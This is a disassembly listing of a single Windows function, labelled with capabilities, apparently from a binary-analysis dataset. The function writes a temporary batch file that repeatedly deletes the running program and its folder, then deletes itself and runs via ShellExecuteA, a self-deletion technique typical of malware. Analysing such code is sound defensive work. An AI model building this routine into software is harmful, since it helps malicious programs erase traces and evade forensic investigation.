Function at 0x403520
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.00408600
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00408600
push 0x103
lea eax, [ebp - 0x30f]
push 0
push eax
mov byte [ebp - 0x310], 0
call fcn.00408600
mov ax, word [0x416d1c]
movq xmm0, qword [str.sanfdr.bat]
mov word [ebp - 0x31c], ax
mov al, byte [0x416d1e]
add esp, 0x24
mov byte [ebp - 0x31a], al
lea eax, [ebp - 0x20c]
movq qword [ebp - 0x324], xmm0
push eax
xorps xmm0, xmm0
push 0x104
movq qword [ebp - 0x319], xmm0
mov byte [ebp - 0x311], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x324]
mov esi, edx
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x4035e0
push edi
lea edi, [ebp - 0x20c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4035f1
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x104
lea eax, [ebp - 0x108]
mov ecx, edx
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.00405ff3
lea eax, [ebp - 0x310]
push 0x5c
push eax
call fcn.004058f0
add esp, 0x14
pop edi
test eax, eax
je 0x40364c
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push 0x416d20
push eax
call fcn.0040610c
mov esi, eax
add esp, 8
test esi, esi
je 0x4037ae
push esi
push 1
push 9
push str.:Repeat_r_n
call fcn.0040536a
push esi
push 1
push 5
push 0x416d30
call fcn.0040536a
lea ecx, [ebp - 0x108]
add esp, 0x20
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403694
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x108]
push eax
call fcn.0040536a
push esi
push 1
push 2
push 0x416d38
call fcn.0040536a
push esi
push 1
push 0xa
push str.if_exist__
call fcn.0040536a
lea ecx, [ebp - 0x108]
add esp, 0x30
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4036d7
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x108]
push eax
call fcn.0040536a
push esi
push 1
push 0xf
push str.__goto_Repeat_r_n
call fcn.0040536a
push esi
push 1
push 7
push str.rmdir__
call fcn.0040536a
lea ecx, [ebp - 0x310]
add esp, 0x30
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403720
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x310]
push eax
call fcn.0040536a
push esi
push 1
push 3
push 0x416d60
call fcn.0040536a
push esi
push 1
push 5
push str.del__
call fcn.0040536a
lea ecx, [ebp - 0x20c]
add esp, 0x30
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403763
push esi
sub ecx, edx
push 1
push ecx
lea eax, [ebp - 0x20c]
push eax
call fcn.0040536a
push esi
push 1
push 1
push 0x416d6c
call fcn.0040536a
push esi
call fcn.0040519c
add esp, 0x24
lea eax, [ebp - 0x20c]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret